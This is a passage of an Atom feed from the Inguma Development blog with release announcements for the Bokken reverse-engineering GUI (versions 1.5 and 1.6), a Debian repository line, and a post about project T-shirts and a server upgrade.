<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8320914018667085850</id><updated>2012-02-16T08:57:11.664+01:00</updated><category term='IPv6'/><category term='infrastructure'/><category term='bokken'/><category term='release'/><category term='merchandising'/><category term='inguma'/><category term='talks'/><title type='text'>Inguma Development</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Inguma Blog</name><uri>http://www.blogger.com/profile/11808896702980279168</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-i5rwha3xQ-U/TfCPny0HlqI/AAAAAAAAADk/Ya4O7qcYsPA/s220/icono.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>17</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-2416365290731845514</id><published>2012-01-24T07:50:00.000+01:00</published><updated>2012-01-24T07:50:20.753+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><category scheme='http://www.blogger.com/atom/ns#' term='bokken'/><title type='text'>Bokken 1.6 is more stable and easier to install</title><content type='html'>A month and a half after having &lt;a href="http://ingumadev.blogspot.com/2011/12/and-finally-bokken-15.html"&gt;released Bokken 1.5&lt;/a&gt;, the Inguma/Bokken team is proud to present a point release to our baby Bokken. &amp;nbsp;The download page can be found&amp;nbsp;&lt;a href="http://inguma.eu/projects/bokken/files" target="_blank"&gt;here&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt;The main changes in 1.6 are:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Fixed a security bug due to a predictable temporary file creation (a Debian developer reported it the very first day in the archive, yay!).&lt;/li&gt;&lt;li&gt;Fixed some obvious usability issues and crashes when opening new files inside Bokken.&lt;/li&gt;&lt;li&gt;Now Bokken is better prepared at using a system-wide pyew, for example, or being installed somewhere else than your home directory (like distributed as a Debian package :-) ). &amp;nbsp;Some of the images and icons were not working previously.&lt;/li&gt;&lt;li&gt;In the meantime, we &lt;a href="http://inguma.eu/issues/91" target="_blank"&gt;started to import Bokken 1.5 into Inguma&lt;/a&gt;&amp;nbsp;and quickly realized that: a) some of the UI changes scheduled for next Inguma release could fit into Bokken (read here &lt;i&gt;eating up the top toolbar and menubar&lt;/i&gt;), and b) a lot of the migration work could be simplified if we use a simpler frame to embed Bokken in (and thus into Inguma in the long run).&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This means that when you use Bokken 1.6 you may notice a somewhat unusual menu bar:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/--1Vkfwnj34Q/TxfycvZye2I/AAAAAAAAApI/dqWElx-X4iM/s1600/Screen+Shot+2012-01-18+at+12.10.07+PM.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="441" src="http://4.bp.blogspot.com/--1Vkfwnj34Q/TxfycvZye2I/AAAAAAAAApI/dqWElx-X4iM/s640/Screen+Shot+2012-01-18+at+12.10.07+PM.png" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Bokken 1.6 running on Windows 7&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Inspired by &lt;a href="http://mypaint.intilinux.com/" target="_blank"&gt;MyPaint&lt;/a&gt;, we got rid of menu bars (no more File/Edit/... menus) and&amp;nbsp;together with some other buttons in the top toolbar,&amp;nbsp;we&amp;nbsp;replaced them with a big button that comprises most of the previous functionality:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-WbjdvQ0D0WQ/TxRS8CTDYXI/AAAAAAAAApA/y_C9xdmsSEg/s1600/Screen+Shot+2012-01-15+at+11.43.27+AM.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-WbjdvQ0D0WQ/TxRS8CTDYXI/AAAAAAAAApA/y_C9xdmsSEg/s1600/Screen+Shot+2012-01-15+at+11.43.27+AM.png" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Close capture of the new toolbar in Bokken&amp;nbsp;1.6&lt;br /&gt;running on Debian Linux wheezy&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;In other order of things, we have been releasing&amp;nbsp;&lt;b&gt;.deb&lt;/b&gt; packages since the 1.5 release, together with the rest of dependencies (python-radare2, pyew, etc.), and they have reached the official Debian archive (&lt;a href="http://packages.debian.org/bokken"&gt;http://packages.debian.org/bokken&lt;/a&gt;). Today we are also proud to present a signed APT repository that you can easily add to your &lt;i&gt;/etc/apt/sources.list&lt;/i&gt; in your favorite Debian/Ubuntu/Debian-compatible distribution to follow more closely our development:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;deb http://deb.inguma.eu/ stable main&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;For more information and instructions for retrieving the repository signing key, please see the new&amp;nbsp;&lt;a href="http://inguma.eu/projects/bokken/wiki/Debian_installation" target="_blank"&gt;installation in Debian and derivatives&lt;/a&gt;&amp;nbsp;wiki page.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Enjoy it! &amp;nbsp;And remember: please report to the team any bugs you may find, through &lt;a href="http://inguma.eu/projects/bokken/issues" target="_blank"&gt;Redmine&lt;/a&gt;, our ticketing system.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-2416365290731845514?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/2416365290731845514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=2416365290731845514' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/2416365290731845514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/2416365290731845514'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2012/01/bokken-16-is-more-stable-and-easier-to.html' title='Bokken 1.6 is more stable and easier to install'/><author><name>Ender</name><uri>http://www.blogger.com/profile/14709596788489094437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_cVMUD1zJ92Q/TFvSBaUDZyI/AAAAAAAAAKo/DpmEBOppQ_U/S220/Avatar_pocoyo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/--1Vkfwnj34Q/TxfycvZye2I/AAAAAAAAApI/dqWElx-X4iM/s72-c/Screen+Shot+2012-01-18+at+12.10.07+PM.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-2810337241484615134</id><published>2012-01-23T05:22:00.002+01:00</published><updated>2012-01-23T05:22:50.067+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='infrastructure'/><category scheme='http://www.blogger.com/atom/ns#' term='merchandising'/><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>Inguma T-Shirts, and updated Inguma server</title><content type='html'>&lt;div style="text-align: justify;"&gt;The Three Wise Men came for Christmas with some presents:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;We partnered with a Spanish site to sell Inguma T-shirts.&lt;/li&gt;&lt;li&gt;&amp;nbsp;Our server has duplicated its&amp;nbsp;physical&amp;nbsp;memory! &amp;nbsp;Yay!&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.camisetasfrikis.es/shop/79-598-large/camiseta-inguma.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.camisetasfrikis.es/shop/79-598-large/camiseta-inguma.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The shirts are available through&amp;nbsp;&lt;a href="http://www.camisetasfrikis.es/shop/79-camiseta-inguma.html"&gt;Camisetas Frikis&lt;/a&gt;&amp;nbsp;site (as far as we know, only in Spanish for the moment), and with every purchase, you will be contributing with 3 € to the project (see below!). If you want to order any and Google Translate is not up to the job, the best thing you can do is to write to info(AT)camisetasfrikis.es with your order or any questions. &amp;nbsp;Their staff will reply to you promptly!&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;With the yearly server renewal we decided to scratch our pockets and spend more money in memory. &amp;nbsp;The web server has been fighting for resources during the last months with the rest of the processes in the box. &amp;nbsp;Now there're cookies for everyone. :-) &amp;nbsp;Maybe with the T-shirts we will be able to subsidize some of our expenses, coming exclusively from our pockets.&lt;br /&gt;&lt;br /&gt;Thanks for your time and stay tuned for the upcoming release of Bokken 1.6!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-2810337241484615134?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/2810337241484615134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=2810337241484615134' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/2810337241484615134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/2810337241484615134'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2012/01/inguma-t-shirts-and-updated-inguma.html' title='Inguma T-Shirts, and updated Inguma server'/><author><name>Ender</name><uri>http://www.blogger.com/profile/14709596788489094437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_cVMUD1zJ92Q/TFvSBaUDZyI/AAAAAAAAAKo/DpmEBOppQ_U/S220/Avatar_pocoyo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-3254734432484979795</id><published>2011-12-07T10:55:00.000+01:00</published><updated>2011-12-07T21:57:25.394+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><category scheme='http://www.blogger.com/atom/ns#' term='bokken'/><title type='text'>And finally... Bokken 1.5</title><content type='html'>&lt;div class="separator" style="text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-8Q8yBqRqaLY/Tt8xfIAT4AI/AAAAAAAAAHU/B6vH0nmzpI8/s1600/logo.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="148" src="http://2.bp.blogspot.com/-8Q8yBqRqaLY/Tt8xfIAT4AI/AAAAAAAAAHU/B6vH0nmzpI8/s200/logo.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;Once the development has finished, &lt;a href="http://radare.org/get/changelog2-0.9-short"&gt;radare2 0.9&lt;/a&gt; has been released and the &lt;a href="http://bokken.inguma.eu/"&gt;project site&lt;/a&gt; has been updated, the moment has arrived: &lt;b&gt;Bokken 1.5 is here!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Take a look at the &lt;a href="http://ingumadev.blogspot.com/2011/10/new-release-is-coming.html"&gt;previous post&lt;/a&gt; to read some of the new features of this release and keep reading to see most of them in detail; for the rest... install Bokken and enjoy them!&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As mentioned before, one of the most important features added is the support of radare2 as backend. So now Bokken can work with either &lt;b&gt;&lt;a href="http://code.google.com/p/pyew/"&gt;Pyew&lt;/a&gt; or &lt;a href="http://radare.org/"&gt;Radare&lt;/a&gt;&lt;/b&gt;, each one having its own advantages and drawbacks.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Most of the development efforts for this release have gone to &lt;b&gt;improve the GUI&lt;/b&gt; in order to make it cleaner and easier to use.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-yNDwvByITHU/Tt8vrRSsftI/AAAAAAAAAGU/wHvsQ2YL21U/s1600/bokken-main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://4.bp.blogspot.com/-yNDwvByITHU/Tt8vrRSsftI/AAAAAAAAAGU/wHvsQ2YL21U/s400/bokken-main.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The &lt;b&gt;disassembly view&lt;/b&gt; has gained in interactivity, and now it features, among others:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Code navigation&lt;/b&gt; by clicking over: functions, basic blocks, address, section names, etc...&lt;/li&gt;&lt;li&gt;Add &lt;b&gt;comments&lt;/b&gt;, view and follow &lt;b&gt;xrefs&lt;/b&gt; or view &lt;b&gt;opcode information&lt;/b&gt; by right-clicking on a code line.&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-PX4rbqiLXpA/Tt8vzvtnsnI/AAAAAAAAAGc/w5LfIycR3Ac/s1600/bokken-dasm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="237" src="http://3.bp.blogspot.com/-PX4rbqiLXpA/Tt8vzvtnsnI/AAAAAAAAAGc/w5LfIycR3Ac/s400/bokken-dasm.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The &lt;b&gt;graph tab&lt;/b&gt; has been improved mainly if radare backend is used; if so, the graph will show &lt;b&gt;flowgraph&lt;/b&gt; or &lt;b&gt;callgraph &lt;/b&gt;and popup a &lt;b&gt;xrefs menu&lt;/b&gt; if a node is right-clicked.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-yUAVQMTFYRk/Tt8v7SVyP2I/AAAAAAAAAGk/5hGLthjJDw4/s1600/bokken-flowgraph.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="237" src="http://1.bp.blogspot.com/-yUAVQMTFYRk/Tt8v7SVyP2I/AAAAAAAAAGk/5hGLthjJDw4/s400/bokken-flowgraph.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Even the &lt;b&gt;hexdump&lt;/b&gt; has received some love and now has &lt;b&gt;syntax highlighting&lt;/b&gt; and selected bytes will be &lt;b&gt;disassembled&lt;/b&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ikUDBuQFXuU/Tt8v_ySHUxI/AAAAAAAAAGs/MVtY7UVBvSk/s1600/bokken-hexdump.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://3.bp.blogspot.com/-ikUDBuQFXuU/Tt8v_ySHUxI/AAAAAAAAAGs/MVtY7UVBvSk/s400/bokken-hexdump.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If the radare backend is used, a new tab will be added with &lt;b&gt;extended target information&lt;/b&gt; like entry points, symbols, imports, sections and strings.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-pBZoH-pipjU/Tt8wFBqpbxI/AAAAAAAAAG0/03Pz2qKMaFY/s1600/bokken-fileinfo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://3.bp.blogspot.com/-pBZoH-pipjU/Tt8wFBqpbxI/AAAAAAAAAG0/03Pz2qKMaFY/s400/bokken-fileinfo.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Do you want to use Bokken to find the exploit of the latest patched vulnerability from your favorite vendor? Congrats! Bokken 1.5 features for the first time a &lt;b&gt;binary diffing&lt;/b&gt; plugin that can be used with radare.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Q0528_ZuWPs/Tt8wKWzoOUI/AAAAAAAAAG8/e5xxMv3oLFM/s1600/bokken-bindiff.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="237" src="http://3.bp.blogspot.com/-Q0528_ZuWPs/Tt8wKWzoOUI/AAAAAAAAAG8/e5xxMv3oLFM/s400/bokken-bindiff.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Other plugins added are:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Assembler/Disassembler&lt;/b&gt;: create and export assembly code snippets in many architectures.&lt;/li&gt;&lt;li&gt;Visual representation of binary sections.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Advanced calculator&lt;/b&gt; with many input and output formats.&lt;/li&gt;&lt;li&gt;File magic identification.&lt;/li&gt;&lt;/ul&gt;Finally, if you have problems with x86 assembly, stack inners or other issues, take a look at the RCE cheat sheet included.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Mr6ywMpVw98/Tt8wOuQTDoI/AAAAAAAAAHE/z_95KmYVt94/s1600/bokken-cheatsheet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-Mr6ywMpVw98/Tt8wOuQTDoI/AAAAAAAAAHE/z_95KmYVt94/s400/bokken-cheatsheet.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There are many other new hidden features awaiting to be discovered on this release, too much to be mentioned here; take a look at the &lt;a href="http://inguma.eu/projects/bokken/wiki/Wiki"&gt;project documentation&lt;/a&gt; to discover and learn about them. Now it's time for you to &lt;a href="http://inguma.eu/projects/bokken/files"&gt;download&lt;/a&gt; and &lt;a href="http://inguma.eu/projects/bokken/wiki/Installation"&gt;install&lt;/a&gt; :-)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Windows installer and debian packages will be available soon but, meanwhile, manual installation is easy and straightforward.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We hope you enjoy this release as much as we did working on it and, as always, send us your feedback, bugs, and requests to our mailing list:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;bokken-devel at inguma.eu&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Special thanks for this release go to:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;@trufae and @earada for radare2, their help and testing&lt;/li&gt;&lt;li&gt;@zxlain for the OSX testing and encouragement&lt;/li&gt;&lt;li&gt;@huahe for the incredible logo&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Thanks and stay tuned (in&amp;nbsp;&lt;a href="http://twitter.com/ingumito"&gt;@ingumito&lt;/a&gt;)!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-3254734432484979795?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/3254734432484979795/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=3254734432484979795' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/3254734432484979795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/3254734432484979795'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/12/and-finally-bokken-15.html' title='And finally... Bokken 1.5'/><author><name>hteso</name><uri>http://www.blogger.com/profile/06933489709636162052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-8Q8yBqRqaLY/Tt8xfIAT4AI/AAAAAAAAAHU/B6vH0nmzpI8/s72-c/logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-3743705066881839432</id><published>2011-10-26T20:27:00.002+02:00</published><updated>2011-10-27T22:42:11.269+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bokken'/><title type='text'>A new release is coming</title><content type='html'>&lt;div style="text-align: left;"&gt;Once again it's been a long time since our last update.  The team has switched gears and now we are in a sprint to finish a new release of &lt;a href="http://inguma.eu/projects/bokken"&gt;Bokken&lt;/a&gt;.  As you probably know, Bokken is &lt;b&gt;the RCE utility that we use in Inguma&lt;/b&gt;, and we have been very busy adding tons of features and polishing the interface.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If Bokken 1.0 had 39 commits, for the new release we are near 200, so expect lots of changes, bug fixes and improvements. Let's view some of the major ones.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The first thing you will notice is that the GUI has changed dramatically, not just to be adapted to the new features but we also have made many changes in order to make it clearer, more intuitive and easier to use. But a picture is worth a thousand words:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://4.bp.blogspot.com/-m0mSfSbod8o/Tql6aL30WcI/AAAAAAAAAF0/XSqnuwtytVM/s1600/bokken-new-gui.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 170px;" src="http://4.bp.blogspot.com/-m0mSfSbod8o/Tql6aL30WcI/AAAAAAAAAF0/XSqnuwtytVM/s320/bokken-new-gui.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5668196196304574914" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;i&gt;"Coming soon"&lt;/i&gt;,&lt;i&gt; "WIP"&lt;/i&gt; or &lt;i&gt;"for the next release"&lt;/i&gt; are expressions that the Inguma team doesn't like, so another major feature of Bokken 1.5 has been to remove the &lt;i&gt;"soon"&lt;/i&gt; regarding the radare backend! And yes, we made it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now Bokken can be used with all the power of radare and the ease of use of our GUI. Take a look at the &lt;a href="http://radare.org/"&gt;radare&lt;/a&gt; website to learn about the features of this powerful backend.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-Y6SrCdXHWt4/Tql6vF09mGI/AAAAAAAAAGA/eO_HGTPX788/s1600/bokke-new-gui-2.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 170px;" src="http://1.bp.blogspot.com/-Y6SrCdXHWt4/Tql6vF09mGI/AAAAAAAAAGA/eO_HGTPX788/s320/bokke-new-gui-2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5668196555459237986" /&gt;&lt;/a&gt;&lt;br /&gt;Also almost all the views/tabs of Bokken have received some amount of love and have new features or improvements like:&lt;br /&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;The long-awaited &lt;b&gt;code navigation&lt;/b&gt;.&lt;/li&gt;&lt;li&gt;Improved flowgraph view.&lt;/li&gt;&lt;li&gt;More&lt;b&gt; interactive hexdump&lt;/b&gt;.&lt;/li&gt;&lt;li&gt;Many new features for working with URLs&lt;/li&gt;&lt;li&gt;New plugins like: (yes!) &lt;b&gt;bindiffing&lt;/b&gt;, calculator, assembler, and more...&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;And that's all for now. Complete and detailed information of all the new features will be shown in the &lt;b&gt;upcoming release&lt;/b&gt; post.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Don't forget to follow us on the project's &lt;a href="http://twitter.com/ingumito"&gt;twitter&lt;/a&gt; and send your ideas and comments to our mailing list:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;bokken-devel (at) inguma.eu&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Stay tuned.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-3743705066881839432?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/3743705066881839432/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=3743705066881839432' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/3743705066881839432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/3743705066881839432'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/10/new-release-is-coming.html' title='A new release is coming'/><author><name>Ender</name><uri>http://www.blogger.com/profile/14709596788489094437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_cVMUD1zJ92Q/TFvSBaUDZyI/AAAAAAAAAKo/DpmEBOppQ_U/S220/Avatar_pocoyo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 